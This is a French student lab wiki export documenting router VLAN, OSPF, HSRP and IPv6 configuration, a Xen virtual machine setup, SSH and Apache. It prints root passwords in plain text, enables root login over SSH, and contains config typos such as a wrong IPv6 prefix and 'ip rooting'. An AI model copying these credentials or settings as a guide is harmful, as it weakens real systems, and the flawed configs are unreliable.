    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51584</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51584"/>
				<updated>2019-12-07T03:25:41Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du serveur DNS avec bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
